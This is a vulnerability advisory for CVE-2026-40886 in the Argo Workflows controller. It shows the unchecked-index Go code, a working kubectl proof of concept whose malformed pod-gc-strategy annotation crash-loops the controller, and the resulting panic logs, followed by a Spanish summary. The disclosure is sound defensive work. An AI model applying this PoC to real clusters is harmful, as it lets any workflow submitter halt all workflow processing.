CVE-2026-40886

Argo Workflows: Unchecked annotation parsing in pod informer crashes Argo Workflows Controller in github.com/argoproj/argo-workflows

### Summary An unchecked array index in the pod informer's `podGCFromPod()` function causes a controller-wide panic when a workflow pod carries a malformed `workflows.argoproj.io/pod-gc-strategy` annotation. Because the panic occurs inside an informer goroutine (outside the controller's `recover()` scope), it crashes the entire controller process. The poisoned pod persists across restarts, causing a crash loop that halts all workflow processing until the pod is manually deleted. ### Details `podGCFromPod()` splits the annotation value on "/" and unconditionally accesses `parts[1]`: ```go func podGCFromPod(pod *apiv1.Pod) wfv1.PodGC { if val, ok := pod.Annotations[common.AnnotationKeyPodGCStrategy]; ok { parts := strings.Split(val, "/") return wfv1.PodGC{Strategy: wfv1.PodGCStrategy(parts[0]), DeleteDelayDuration: parts[1]} } return wfv1.PodGC{Strategy: wfv1.PodGCOnPodNone} } ``` If the annotation value contains no "/", `parts` has length 1 and `parts[1]` panics with index out of range. The code was introduced in [#14129](https://github.com/argoproj/argo-workflows/issues/14129) and affects versions: - 3.6.x: v3.6.5 through v3.6.19 (backport in [#14263](https://github.com/argoproj/argo-workflows/issues/14263)) - 3.7.x: v3.7.0-rc1 through v3.7.12 - 4.x: v4.0.0-rc1 through v4.0.3 - Not affected: v3.6.4 and earlier ### PoC Apply this workflow to a cluster running the Argo Workflows controller: ```bash kubectl apply -n argo -f - <<'EOF' apiVersion: argoproj.io/v1alpha1 kind: Workflow metadata: name: crash-podgc spec: entrypoint: main serviceAccountName: default podGC: strategy: OnPodCompletion podMetadata: annotations: workflows.argoproj.io/pod-gc-strategy: "NoSlash" templates: - name: main container: image: alpine:3.18 command: [echo, "hello"] EOF ``` Within seconds the controller crashes. The controller pod will show `CrashLoopBackOff` with increasing restart count. Controller logs show: ``` panic: runtime error: index out of range [1] with length 1 goroutine 291 [running]: github.com/argoproj/argo-workflows/v4/workflow/controller/pod.podGCFromPod(...) /home/runner/work/argo-workflows/argo-workflows/workflow/controller/pod/controller.go:176 github.com/argoproj/argo-workflows/v4/workflow/controller/pod.(*Controller).commonPodEvent(...) /home/runner/work/argo-workflows/argo-workflows/workflow/controller/pod/controller.go:197 github.com/argoproj/argo-workflows/v4/workflow/controller/pod.(*Controller).addPodEvent(...) /home/runner/work/argo-workflows/argo-workflows/workflow/controller/pod/controller.go:246 ``` Recovery requires deleting the poisoned workflow: ``` kubectl delete workflow -n argo crash-podgc ``` ### Impact Any user who can submit workflows can crash the Argo Workflows controller and keep it down indefinitely. This is a denial-of-service against all workflows in the cluster. No workflows can make progress while the controller is crash-looping. The attacker needs only `create` permission on Workflow resources, which is the baseline permission for any Argo Workflows user.

Argo Workflows es un motor de flujo de trabajo nativo de contenedores de código abierto para orquestar trabajos paralelos en Kubernetes. Desde la versión 3.6.5 hasta la 4.0.4, un índice de array no verificado en la función podGCFromPod() del informador de pods provoca un pánico en todo el controlador cuando un pod de flujo de trabajo lleva una anotación workflows.argoproj.io/pod-gc-strategy malformada. Debido a que el pánico ocurre dentro de una goroutine del informador (fuera del alcance de recover() del controlador), bloquea todo el proceso del controlador. El pod ’envenenado’ persiste a través de los reinicios, causando un bucle de fallos que detiene todo el procesamiento de flujos de trabajo hasta que el pod se elimina manualmente. Esta vulnerabilidad está corregida en las versiones 4.0.5 y 3.7.14.